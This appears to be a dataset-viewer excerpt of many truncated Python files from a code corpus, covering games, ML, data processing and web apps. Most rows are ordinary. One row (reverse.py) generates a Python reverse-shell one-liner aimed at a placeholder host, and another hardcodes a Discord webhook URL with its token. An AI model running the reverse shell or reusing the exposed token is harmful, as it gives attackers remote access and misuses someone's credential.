id stringlengths 1 265 | text stringlengths 6 5.19M | dataset_id stringclasses 7
values |
|---|---|---|
129909 | <gh_stars>0
import sys
class Stream(object):
"""
A class used to consume standard input by generator and then yield it line by line to the bouqet manager
Attributes
----------
manager : BouqetManager
Bouqet Manager instance
Methods
-------
stre... | StarcoderdataPython |
3297063 | <gh_stars>0
import pygame
from pygame.locals import *
from hexcolor import *
from colour import Color
import math
import sys
from bead import *
from colorbin import *
screen_width = 1000
screen_height = 500
DISPLAY=pygame.display.set_mode((screen_width,screen_height),0,32)
# determine bead dimensions
bead_x_margin = 1... | StarcoderdataPython |
1761355 | <filename>mindware/components/feature_engineering/transformations/preprocessor/onehot_encoder.py
from mindware.components.feature_engineering.transformations.base_transformer import *
class OneHotTransformation(Transformer):
type = 2
def __init__(self):
super().__init__("onehot_encoder")
self... | StarcoderdataPython |
166426 | <filename>01-StreamingWC/StreamingWC.py
from pyspark.sql import SparkSession
from pyspark.sql.functions import *
from lib.logger import Log4j
if __name__ == "__main__":
spark = SparkSession \
.builder \
.appName("Streaming Word Count") \
.master("local[3]") \
.config("spark.streami... | StarcoderdataPython |
1755588 | import allure
import pytest
pytestmark = [pytest.mark.client_connectivity, pytest.mark.nat, pytest.mark.enterprise, pytest.mark.ttls,
pytest.mark.ucentral, pytest.mark.sanity] #pytest.mark.usefixtures("setup_test_run"),
setup_params_enterprise = {
"mode": "NAT",
"ssid_modes": {
"wpa_ente... | StarcoderdataPython |
36239 | <reponame>sooshie/security-content<filename>bin/validate.py<gh_stars>0
#!/usr/bin/python
'''
Validates Manifest file under the security-content repo for correctness.
'''
import glob
import json
import jsonschema
import yaml
import sys
import argparse
from os import path
def validate_detection_contentv2(detection, D... | StarcoderdataPython |
1668135 | <reponame>chaimain/ctapipe<filename>ctapipe/image/tests/test_pixel_likelihood.py
import numpy as np
from ctapipe.image import (
neg_log_likelihood,
neg_log_likelihood_approx,
mean_poisson_likelihood_gaussian,
chi_squared,
mean_poisson_likelihood_full,
)
def test_chi_squared():
image = np.array... | StarcoderdataPython |
3358789 | <gh_stars>100-1000
# chatbot/bot.py
from chatterbot import ChatBot
from chatterbot.trainers import ChatterBotCorpusTrainer
diego = ChatBot("Diego")
trainer = ChatterBotCorpusTrainer(diego)
trainer.train(
"chatterbot.corpus.english.greetings",
"chatterbot.corpus.english.conversations",
)
| StarcoderdataPython |
1660712 | <filename>ecs/processors/usestairsprocessor.py<gh_stars>0
from typing import List, Collection, Any
from esper import Processor, World
import script
from action import ActionType
from constants import MAX_LEVEL
from ecs.components.dead import Dead
from ecs.components.gamestate import GameState
from ecs.components.inve... | StarcoderdataPython |
4803726 | <reponame>shreejitverma/GeeksforGeeks
#LCP using Tries
#Just check where #of children is != 1
from collections import defaultdict as df
class Node:
def __init__(self):
self.children = df(int)
self.isEnd = False
class Trie:
def __init__(self):
self.root = Node()
def getIndex(self,... | StarcoderdataPython |
1784737 | #!/user/bin/env python
# coding=utf-8
"""
@project : ImageManager
@ide : PyCharm
@file : main
@author : wuhoubo
@desc :
@create : 2020/5/11 8:39:45
@update :
"""
from googletrans import Translator
from openpyxl import Workbook
from openpyxl import load_workbook
from helper.db_helper import DBHelper
from ... | StarcoderdataPython |
1638928 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Apr 11 16:33:33 2022
@author: stoutjd
"""
import pandas as pd
import mne
import mne_bids
import os, os.path as op
import glob
import re
import copy
import numpy as np
import logging
import subprocess
from pathlib import Path
import shutil
import ma... | StarcoderdataPython |
1735197 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import shutil
import sys
import tempfile
from observations.r.luv_colours import luv_colours
def test_luv_colours():
"""Test module luv_colours.py by downloading
luv_colours.csv and testing shape of
e... | StarcoderdataPython |
3280228 | # pylint: disable=attribute-defined-outside-init,not-callable
import json
from io import BytesIO
from textwrap import dedent
import pytest
from dcov.diff_reporter import BaseDiffReporter
from dcov.report_generator import (
BaseReportGenerator,
HtmlReportGenerator,
JsonReportGenerator,
MarkdownReportG... | StarcoderdataPython |
4819249 | from datetime import datetime
from typing import Callable, NamedTuple, NewType
Payload = NewType("Payload", bytes)
class ScheduledTask(NamedTuple):
deadline: datetime
callable: Callable[[], None]
tasktype: str
def get_timeout(self, now: datetime) -> float:
return (self.deadline - now).total_... | StarcoderdataPython |
126272 | <filename>archive/2021-03-7/data/bhsa/function.py
"""
Re-map BHSA phrase functions based on
automatic and manual selections.
These are added to correct the data on
time phrases.
"""
from positions import PositionsTF
def modify_function(functions, api):
"""Apply automatic and manual function edits to BHSA
Arg... | StarcoderdataPython |
1702002 | <gh_stars>0
# Generated by Django 3.1.4 on 2022-02-15 06:37
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='TwitterDeveloperAccount',
... | StarcoderdataPython |
1685569 | <filename>demos/demo_prelude_in_c_fancy.py
from util import subset, join
from tones import tonify
from points import chord
from demos.demo_prelude_in_c import PreludeInC
class PreludeInCFancy(PreludeInC):
@property
def chord_names(self):
return ['',
'I', 'ii D7', 'V D7', 'I',
... | StarcoderdataPython |
3277421 | <reponame>GMNaim/Online-Exam-System
from django.urls import path, include
from rest_framework import routers
from rest_framework_simplejwt.views import (
TokenObtainPairView,
TokenRefreshView,
)
from .viewsets import (UserViewSet,
PermissionViewSet,
RoleViewSet,
... | StarcoderdataPython |
46147 | <filename>run.py
import uvicorn
from datetime import datetime
from typing import List, Optional
from fastapi import FastAPI
from fastapi.encoders import jsonable_encoder
from fastapi.responses import JSONResponse
from pydantic import BaseModel, EmailStr
app = FastAPI()
_version_ = '1.0.0'
class baseReque... | StarcoderdataPython |
3318337 | ''' nujo's core Reverse-mode Automatic Differentiation module
'''
from nujo.autodiff.function import Function
from nujo.autodiff.modes import no_diff
from nujo.autodiff.tensor import Tensor
__all__ = [
'Function',
'no_diff',
'Tensor',
]
| StarcoderdataPython |
1662430 | from wepay.tests import CallBaseTestCase
class PreapprovalTestCase(CallBaseTestCase):
def test_preapproval(self):
args = [
('preapproval_id', 12345)
]
kwargs = {}
self._test_call('/preapproval', args, kwargs)
def test_preapproval_find(self):
args = []
... | StarcoderdataPython |
75630 | <filename>nbqa/handle_magics.py
"""Detect ipython magics and provide python code replacements for those magics."""
import ast
import secrets
from collections import defaultdict
from typing import List, MutableMapping, Optional, Tuple
COMMANDS_WITH_STRING_TOKEN = {"flake8"}
def _is_ipython_magic(node: ast.expr) -> bo... | StarcoderdataPython |
44292 | <filename>tests/resources/my_dummy_handlers/dummy_handler_multiple_args_too_few.py<gh_stars>10-100
from oxygen import BaseHandler
class MyDummyHandler(BaseHandler):
'''
A test handler that throws mismatch argument exception because
parse_results expects too many arguments
'''
def run_my_dummy_han... | StarcoderdataPython |
3278925 | <filename>servers/experimental/hdaudio/wav2c.py
#!/usr/bin/env python3
from scipy.io import wavfile
import argparse
import matplotlib.pyplot as plt
import numpy as np
import sys
import subprocess
def generate_c_file(left, right):
text = ""
text += "#ifndef __SOUND_DATA_H__\n"
text += "#define __SOUND_DATA_... | StarcoderdataPython |
188670 | ########################################################################
##
## Copyright 2018 Eidetic Communications Inc.
##
## Licensed under the Apache License, Version 2.0 (the "License"); you
## may not use this file except in compliance with the License. You may
## obtain a copy of the License at
## http://www.apa... | StarcoderdataPython |
80180 | <reponame>moh008/cs122a-lab7
import spidev
import time
def createSPI(device):
spi = spidev.SpiDev()
spi.open(0, device)
spi.max_speed_hz = 1000000
spi.mode = 0
return spi
_numValues = 0
_mean = 0
_s = 0
def WelfordsAlgorithm(newLightValue):
global _numValues
global _mean
global _s
_numValues += 1
if _numVa... | StarcoderdataPython |
3307269 | <filename>server/storage.py
import os
import hmac
import hashlib
import base64
import datetime as dt
import logging
import random
import string
from urllib.parse import urlencode, urljoin
from werkzeug.utils import secure_filename
from libcloud.storage.types import Provider
from libcloud.storage.providers import get_d... | StarcoderdataPython |
3373956 | <reponame>uktrade/paas-logdrain-scanner
from django.conf import settings
import requests
import json
def slack_alert(slack_message):
#breakpoint()
print(slack_message)
if settings.SLACK_ENABLED == 'True':
print("Sending results to slack")
url = f'{settings.SLACK_URL}/api/chat.postMessage'... | StarcoderdataPython |
4827667 | <filename>process_data_newdataset.py
import pdb
import numpy as np
import os
import subprocess
import collections
import pickle as cPickle
import random
import sys
def one_hot(seq):
RNN_seq = seq
BASES = 'AUCG'
bases = np.array([base for base in BASES])
feat = np.concatenate(
[[(bases == ba... | StarcoderdataPython |
1643014 | import decimal
import json
import cloudinary
import cloudinary.uploader
import environ
import requests
from django.contrib import messages
from django.contrib.auth.decorators import login_required
from django.contrib.staticfiles.storage import staticfiles_storage
from django.core.exceptions import ValidationError
from... | StarcoderdataPython |
1736264 | <reponame>GrahamDownhill/incubator-superset<gh_stars>1-10
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Ap... | StarcoderdataPython |
189681 | <gh_stars>1-10
import numpy as np
import random
import time
import logging
from math import sqrt
# Logging Settings
logger = logging.getLogger('botLog')
class MovingAverageCalculation(object):
""" A moving average class """
def __init__(self, period=10*60):
logger.info("Entered into the... | StarcoderdataPython |
1789790 | """
evaluate.py
"""
import torch, torch.optim, torch.nn as nn, torch.nn.functional as F, torch.nn.init as init
from torch.utils.data import DataLoader, Dataset, RandomSampler, SubsetRandomSampler
from run_model import load_data
from radam import RAdam
try:
from apex import amp
except ImportError:
amp=None
fr... | StarcoderdataPython |
3288163 | <filename>core/csvfile.py
import asyncio
from asyncio.log import logger
from core import Producer, Consumer
import csv
from os import path
from datetime import datetime
def cast(datatype: str, value):
if datatype == 'number':
return float(value)
elif datatype == 'dateiso':
return... | StarcoderdataPython |
3298197 | # Copyright (c) 2017, The MITRE Corporation. All rights reserved.
# See LICENSE.txt for complete terms.
import unittest
from mixbox.vendor.six import u
from cybox.objects.network_route_object import NetRoute
from cybox.test import EntityTestCase, round_trip
from cybox.test.objects import ObjectTestCase
class Test... | StarcoderdataPython |
3231031 | # Copyright (c) The Libra Core Contributors
# SPDX-License-Identifier: Apache-2.0
from .utils import get_unique_string, JSONSerializable, JSONFlag
from copy import deepcopy
import json
# Generic interface to a shared object
class SharedObject(JSONSerializable):
""" Subclasses of Shared Objects define instances t... | StarcoderdataPython |
3360224 | <filename>__scraping__/ikea.com/main.py
#
# https://stackoverflow.com/a/47741611/1832058
#
import scrapy
class MySpider(scrapy.Spider):
name = 'myspider'
#allowed_domains = ['http://www.ikea.com']
start_urls = ['http://www.ikea.com/ae/en/catalog/categories/departments/childrens_ikea/31772/']
def ... | StarcoderdataPython |
188333 | from guizero import App
app = App()
app.info("Info", "This is a guizero app")
app.error("Error", "Try and keep these out your code...")
app.warn("Warning", "These are helpful to alert users")
app.display() | StarcoderdataPython |
160752 | # coding=utf-8
from __future__ import absolute_import, division, print_function, unicode_literals
from threading import Timer
import time
import os
import octoprint.plugin
from octoprint.util.version import get_octoprint_version_string
from octoprint.util import RepeatedTimer
from prometheus_client import Counter, Inf... | StarcoderdataPython |
1734858 | """Tests DLL wrapper infrastructure"""
import logging
import gc
import os
import pytest
from qcodes.instrument_drivers.AlazarTech.dll_wrapper import WrappedDll, \
DllWrapperMeta
pytestmark = pytest.mark.skipif(
os.name != 'nt', reason='These tests are relevant only for Windows')
def test_wrapped_dll_sin... | StarcoderdataPython |
1699403 | from securityheaders.models import SecurityHeader
from securityheaders.models.xpcdp import XPermittedCrossDomainPoliciesDirective
from securityheaders.models.annotations import *
@description('This header defines a cross-domain policy for clients such as Adobe Flash Player or Adobe Acrobat.')
@headername('x-permitted-... | StarcoderdataPython |
1672808 | # (Be in -*- python -*- mode.)
#
# ====================================================================
# Copyright (c) 2007-2008 CollabNet. All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also availabl... | StarcoderdataPython |
52313 | #
# Unicode escape format setting dialog for the following plugins:
# Unicode escape
# Unicode unescape
#
# Copyright (c) 2020, <NAME>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
... | StarcoderdataPython |
1721120 | """ Configures front-end statics
Typically dumped in statics.json
"""
from typing import Dict, Optional
from pydantic import BaseSettings, HttpUrl
from .utils import snake_to_camel
APP_CLIENTAPPS_SETTINGS_KEY = f"{__file__}.client_apps_settings"
# these are the apps built right now by web/client
FRONTEND_APPS... | StarcoderdataPython |
3315716 | #!/usr/bin/env python
# # -*- coding: utf-8 -*-
#-------------------------------------------------------------------------------
# test_servo.py
#
# <NAME>
# 2018
#-------------------------------------------------------------------------------
import logging
import pytest
from tests.unit.hw.pwm.fake_pwm_provider imp... | StarcoderdataPython |
3348983 |
"""
File input
==========
File input is handled by the *Load new system* box on the *Input* tab of the main toolbar.
Initially the file format will try to be determined automatically, however in the case of
ambiguity a dialog will popup asking the user for input.
File formats are defined in the *file_formats.IN* file... | StarcoderdataPython |
4801363 | <reponame>sourcelair/procenv
from importlib import import_module
import functools
import os
import sys
@functools.lru_cache()
def detect_procfile():
"""
Find the appropriate Procfile to run the application.
"""
procfile = 'Procfile'
env_var_procfile = os.getenv('PROCFILE')
if env_var_procfile... | StarcoderdataPython |
99115 | # -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import api, models, fields
class WebsiteConfigSettings(models.TransientModel):
_inherit = 'website.config.settings'
def _default_order_mail_template(self):
if self.env['ir.module.module'].sea... | StarcoderdataPython |
3214521 | """Implementation of sample attack."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import time
from cleverhans.attacks import MultiModelIterativeMethod
import numpy as np
from PIL import Image
import tensorflow as tf
from tensorflow.contrib.... | StarcoderdataPython |
3357653 | """
Equations of State for Seawater
===============================
This module provides a few simple equations of state that can be used for
seawater. Some are very good (e.g., density) and others are just taken from
tables in the Handbook of Physics and Chemistry for pure water (e.g., surface
tension). Eventually... | StarcoderdataPython |
3287151 | <gh_stars>1-10
"""
SynthTIGER
Copyright (c) 2021-present NAVER Corp.
MIT license
"""
import os
import random
import sys
import traceback
from multiprocessing import Process, Queue
import numpy as np
import yaml
def read_template(path, name, config=None):
path = os.path.abspath(path)
root = os.path.dirname(p... | StarcoderdataPython |
3217014 | import traceback
from functools import wraps
from . import exception
from . import flavor, peel, is_event, chat_flavors, inline_flavors
def _wrap_none(fn):
def w(*args, **kwargs):
try:
return fn(*args, **kwargs)
except (KeyError, exception.BadFlavor):
return None
retur... | StarcoderdataPython |
3361699 | # -*- coding: utf-8 -*-
import numpy as np
import pytest
from pmdarima.compat.pytest import pytest_warning_messages, pytest_error_str
from pmdarima.arima import _validation as val
from pmdarima.warnings import ModelFitWarning
@pytest.mark.parametrize(
'ic,ooss,expect_error,expect_warning,expected_val', [
... | StarcoderdataPython |
1715916 | """Module that contains the command line app.
Why does this file exist, and why not put this in __main__?
You might be tempted to import things from __main__ later, but that will cause
problems: the code will get executed twice:
- When you run `python -mnitpick` python will execute ``__main__.py`` as a script.
T... | StarcoderdataPython |
73021 | <reponame>warthog9/bounca<gh_stars>0
"""Admin interface definition for certificates"""
from django.contrib import admin
from .forms import CertificateForm, DistinguishedNameForm
from .models import Certificate, DistinguishedName
class X509_pki_DistinguishedNameAdmin(admin.ModelAdmin):
search_fields = ['commonNam... | StarcoderdataPython |
3211496 | <reponame>mtag-dev/py-rest-stress-testing<filename>dummy/pool.py
import os
import glob
import json
import asyncio
import janus
class Connection:
def __init__(self, fixtures_dir='fixtures'):
self._responses = {}
for fixture_file in glob.glob(os.path.join(fixtures_dir, '*.json')):
with o... | StarcoderdataPython |
1643913 | import tensorflow as tf
import tensorflow.contrib.slim as slim
from nets import nets_factory, resnet_utils, resnet_v2
def patch_resnet_arg_scope (is_training):
def resnet_arg_scope (weight_decay=0.0001):
print('\033[91m' + 'Using patched resnet arg scope' + '\033[0m')
batch_norm_decay=0.9
batch... | StarcoderdataPython |
4821647 | <reponame>pekzeki/PopulationAnalysis
# -*- coding: utf-8 -*-
'''
Reads all the CSV file inside 'data/' folder as a Pandas DataFrame
Calculates average population per city both for Urban and Rural population
Plots it to a Line Chart for each year under output/ folder
@author: pekzeki
'''
import commons
import pygal ... | StarcoderdataPython |
123102 | import discord_notify as dn
from typing import List
import logging
from datetime import datetime as dtt
import pandas as pd
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
notifier = dn.Notifier(
"https://discord.com/api/webhooks/829733851798437970/EIIAHfucMPrmOJ3x3uTBY1ofCKvMhVQYVcDD4-OznIAwc... | StarcoderdataPython |
4820672 | import calendar
from flask_appbuilder import ModelView
from flask_appbuilder.models.sqla.interface import SQLAInterface
from flask_appbuilder.fields import AJAXSelectField
from flask_appbuilder.fieldwidgets import Select2AJAXWidget, Select2SlaveAJAXWidget
from wtforms import validators
from app import db, appbuilder
... | StarcoderdataPython |
3244203 | from ..language.parser import parse_value
from ..pyutils.ordereddict import OrderedDict
from ..type import (
GraphQLArgument,
GraphQLBoolean,
GraphQLEnumType,
GraphQLEnumValue,
GraphQLField,
GraphQLFloat,
GraphQLID,
GraphQLInputObjectField,
GraphQLInputObjectType,
GraphQLInt,
... | StarcoderdataPython |
1754446 | <reponame>rameezarshad/django-grpc-framework<filename>django_grpc_bus/utils/generators.py
import glob
import logging
import os
import shutil
import subprocess
from django_grpc_bus.protobuf import generators
from django_grpc_bus.settings import message_bus_settings
from django_grpc_bus.utils import service_meta
logger... | StarcoderdataPython |
3319015 | <reponame>amitsaha/playground
'''
You are given an array of 1's 2's and 3's. Sort this list so the 1's are first, the 2's come second, and the 3's come third.
Ex:
Input [1, 3, 3, 2, 1]
Output [1, 1, 2, 3, 3]
Question from:
https://sites.google.com/site/spaceofjameschen/home/sort-and-search/dutch-national-flag
Ref... | StarcoderdataPython |
100205 | <filename>source/specs/admin.py
from django.contrib import admin
from .models import *
admin.site.register(ProductFeatures)
admin.site.register(FeatureValidator)
admin.site.register(CategoryFeature)
| StarcoderdataPython |
168392 | <filename>Flo et toto/exercise dominik/exturtle.py
from turtle import *
triangle = Turtle()
triangle.right(60)
triangle.forward(120)
triangle.right(120)
triangle.forward(120)
triangle.right(120)
triangle.forward(120) | StarcoderdataPython |
1607607 | <filename>rustici_software_cloud_v2/apis/dispatch_api.py
# coding: utf-8
"""
SCORM Cloud Rest API
REST API used for SCORM Cloud integrations.
OpenAPI spec version: 2.0
Contact: <EMAIL>
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
i... | StarcoderdataPython |
40144 | <reponame>isabella232/resync
import unittest
import re
import os
import logging
import sys
import io
import contextlib
from resync.client import Client, ClientFatalError
# From
# http://stackoverflow.com/questions/2654834/capturing-stdout-within-the-same-process-in-python
class Data(object):
pass
@contextlib.... | StarcoderdataPython |
3294543 | <reponame>vidyadeepa/the-coding-interview<gh_stars>1000+
def primes_upto(n):
"""
Sieve of Drathostenes
"""
multiples = set()
yield 2
# Optimization: Add the even numbers
multiples.update(range(4, n, 2))
for p in range(3,n,2):
if p not in multiples:
# Found a prime!
... | StarcoderdataPython |
3300135 | import warnings
import numpy as np
import seaborn as sns
import pandas as pd
import matplotlib.pyplot as plt
from typing import Tuple, List, Mapping
from matplotlib import gridspec
from matplotlib.cm import get_cmap
from matplotlib.lines import Line2D
def precision_recall_curve(
matches: pd.DataFrame, precision_s... | StarcoderdataPython |
20780 | <gh_stars>0
# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, unicode_literals
from flask import current_app
from . import connectors, check_respons, pager_dict
from .objects.channel import Channel
def get_base_url():
return current_app.config['BASE_URL'] + '/channels/'
def create(exten):... | StarcoderdataPython |
3283013 | <reponame>ermongroup/sparse_gen
import glob
import os
import matplotlib
matplotlib.use('agg')
#uncomment to use latex
# matplotlib.rcParams['text.usetex'] = True
# matplotlib.rcParams['text.latex.unicode']=True
# matplotlib.rc('font', family='Times New Roman')
matplotlib.rcParams['pdf.fonttype'] = 42
matplotlib.rcPara... | StarcoderdataPython |
3315677 | import itertools
import django_tables2 as tables
from .models import Train, shanghaimetro_city
from transtory.common import dt_wrapper
class TrainTable(tables.Table):
row_number = tables.Column(empty_values=(), verbose_name="Index")
sn = tables.Column(verbose_name='Train')
train_type = tables.Column(verb... | StarcoderdataPython |
3358296 | import os
import numpy as np
import tensorflow as tf
from tensorlib import rl
from tensorlib.rl.models.policy import BaseStochasticPolicyValue
from tensorlib.utils.logx import EpochLogger
from tensorlib.utils.timer import Timer
from .utils import PPOReplayBuffer, PPOSampler
class Agent(rl.BaseAgent):
def __init... | StarcoderdataPython |
3227098 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 04/03/2017 9:45 AM
# @Author : <NAME>
# @Site : www.nanosparrow.com
# @File : quantitativeStock.py
# @Software: PyCharm Community Edition
import sys
sys.path.append('../')
from pandas import *
from datetime import *
from stock.stock import *
obse... | StarcoderdataPython |
171819 | <reponame>yyht/bert<filename>t2t_bert/model/gpt/sample.py
import tensorflow as tf
import numpy as np
from model.gpt import gpt_utils
from utils.bert.bert_utils import get_shape_list
def top_k_logits(logits, k):
if k == 0:
# no truncation
return logits
def _top_k():
values, _ = tf.nn.top_k(logits, k=k)
min_v... | StarcoderdataPython |
1633034 | <filename>analysis_codes_v1/calc_sparseness.py
import numpy as np
import pandas as pd
import cPickle as pickle
import os
import scipy.io as sio
import matplotlib
matplotlib.use('Agg')
import matplotlib
import matplotlib.pyplot as plt
matplotlib.rcParams.update({'font.size': 20})
def calc_sprns_by_range_and_plot(r_dat... | StarcoderdataPython |
1660553 | <gh_stars>1-10
from versionary.decorators import versioned
@versioned()
def my_function():
return 1
@versioned()
def my_function_v3():
return 3
| StarcoderdataPython |
3263210 | <gh_stars>0
equipamentos = []
valores = []
seriais = []
departamentos = []
resposta = 'S'
while resposta == 'S':
equipamentos.append(input('Equipamento: '))
valores.append(float(input('Valor: ')))
seriais.append(int(input('Número Serial: ')))
departamentos.append(input('Departamento: '))
resposta = ... | StarcoderdataPython |
3359114 | <reponame>rday/py-intervalsicu
class CredentialError(IOError):
def __init__(self, *args, **kwargs):
self.status = kwargs['status']
self.message = kwargs['message']
self.url = kwargs['url']
def __str__(self):
return "Credentials Error: {}".format(
self.message)
clas... | StarcoderdataPython |
3258280 | #!/usr/bin/env impala-python
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (... | StarcoderdataPython |
4801917 | <reponame>EliahKagan/practice<filename>leetcode/balance-a-binary-search-tree/balance-a-binary-search-tree.py
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
... | StarcoderdataPython |
57371 | # Generated by Django 3.2.7 on 2021-12-13 15:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('order', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='order',
name='additional',
... | StarcoderdataPython |
1635147 | <filename>src/reverse.py
#!/usr/bin/env python
from binary import WINDOWS_NCAT, WINDOWS_SHARPCODE, binary_to_bat, shellcode_to_ps1
from classes import generate_file_name
def REV_PYTHON_TCP():
return """python -c \"import os; import pty; import socket; lhost = 'TARGET'; lport = PORT; s = socket.socket(socket.AF_IN... | StarcoderdataPython |
143960 | from app.models import Blog , User
from app import db
def setUp(self):
self.user_Gerald = User(username = 'Gerald',password = '<PASSWORD>', email = '<EMAIL>')
self.new_blog = Blog(id=12345,title='Full stack development',content='Is it safe to go the full-stack way or better the Android path',category= ... | StarcoderdataPython |
4827341 | from functools import wraps
import os
from moto.xray import xray_backends
import aws_xray_sdk.core
from aws_xray_sdk.core.context import Context as AWSContext
from aws_xray_sdk.core.emitters.udp_emitter import UDPEmitter
class MockEmitter(UDPEmitter):
"""
Replaces the code that sends UDP to local X-Ray daemon... | StarcoderdataPython |
47463 | # -*- coding: utf-8 -*-
# @Time : 2017/8/2 10:46
# @Author : play4fun
# @File : test_video.py
# @Software: PyCharm
"""
test_video.py:
"""
import numpy as np
import cv2
from matplotlib import pyplot as plt
cap = cv2.VideoCapture('../../data/vtest.avi')#不支持读取视频
# cap = cv2.VideoCapture('output.avi')
# cap = cv2... | StarcoderdataPython |
38960 | ''' Q19 Predict the output'''
class Match:
''"Runs and Wickets"''
runs=281
wickets=5
def __init__(self,runs,wickets):
self.runs=runs
self.wickets=wickets
print "Runs scored are : ",runs
print "Wickets taken are : ",wickets
print "Test.__do__ :",Match.__doc__
pr... | StarcoderdataPython |
159377 | #!/usr/bin/python3
from subprocess import STDOUT, call, TimeoutExpired
from time import sleep
runs = [ ('games120.col',7),
('miles250.col',5),
('miles500.col',5),
('miles750.col',5),
('miles1000.col',5),
('miles1500.col',3),
('le450_5b.col',18),
(... | StarcoderdataPython |
1759219 | from meross_iot.cloud.abilities import *
from meross_iot.cloud.device import AbstractMerossDevice
from meross_iot.logger import BULBS_LOGGER as l
from meross_iot.meross_event import BulbSwitchStateChangeEvent, BulbLightStateChangeEvent
MODE_LUMINANCE = 4
MODE_TEMPERATURE = 2
MODE_RGB = 1
MODE_RGB_LUMINANCE = 5
MODE_T... | StarcoderdataPython |
134996 | <reponame>endrikacupaj/Verbalization-Dataset-Baseline-Models
"""Run baseline model"""
import os
import math
import random
import argparse
from pathlib import Path
import numpy as np
import torch
import torch.nn as nn
import torch.optim as optim
from torchtext.data import BucketIterator
from models.seq2seq import Seq2... | StarcoderdataPython |
11707 | <gh_stars>0
from django.contrib.admin.views.decorators import staff_member_required
from django.views.generic import TemplateView, ListView
import csv
from django.http import HttpResponse
from backend.models import CustomUser
from django.contrib.auth.mixins import LoginRequiredMixin
class HomePageView(TemplateView):... | StarcoderdataPython |
3297399 | #
# Mini-project # 4: "Pong".
#
# Author: <NAME>
# Email: <EMAIL>
# Mini-project # 4: An Introduction to Interactive Programming in Python
# @ https://www.coursera.org/course/interactivepython
# Date: 19 Oct 2014
# Version: 11.0
#
# Implementation of the classic arcade game "Pong".
#
#------------------------... | StarcoderdataPython |
1677571 | <filename>Chapter02/2_mnist_cnn.py<gh_stars>100-1000
import tensorflow as tf
from tensorflow.examples.tutorials.mnist import input_data
mnist_data = input_data.read_data_sets('MNIST_data', one_hot=True)
input_size = 784
no_classes = 10
batch_size = 100
total_batches = 200
x_input = tf.placeholder(tf.float32, shape=[... | StarcoderdataPython |
3304176 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Runs the specified collection of feature extractors.
Created on Wed Sep 29 11:00:24 2021
@author: lbechberger
"""
import argparse, csv, pickle
import pandas as pd
import numpy as np
from code.feature_extraction.character_length import CharacterLength
from code.featu... | StarcoderdataPython |
3315029 | from .centerface import CenterFace
| StarcoderdataPython |
54693 | <reponame>Anindita7/8085-IDE<filename>8085 compiler/src/lexer.py
labels={}
def lex(filecontents):
filecontents=list(filecontents)
tokens=[]
#Implementations left#
#Stack keywords
#Rotate
#16 bit operations
#JUMP operations
keywords=["STA","MVI","MOV","LDA","ADD","ADC","ADI","ACI","SUB","SUI","SBB","SBI... | StarcoderdataPython |
90956 | import numpy as np
from helpers import get_signal, number_of_frames, first_last_frame_number
import os
import cv2
import seaborn as sns; sns.set()
mode = 1024
fps = 20
signal_list = ['range', 'reflectivity', 'signal', 'ambient']
signal_name = input("Signal to display:")
for idx, val in enumerate(signal_list):
if ... | StarcoderdataPython |
161820 | <filename>misc_utils.py<gh_stars>0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from collections import namedtuple
import random
Transition = namedtuple('Transition',
('state', 'action', 'next_state', 'reward', 'done'))
# courtesy of the torch tutorial <3
import numpy as np
def one_hot(a,... | StarcoderdataPython |
3278595 | import chathon
client = chathon.Client(username="LyQuid", badword_filter=True)
client.connect(server_ip="127.0.0.1", server_port=1212)
| StarcoderdataPython |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.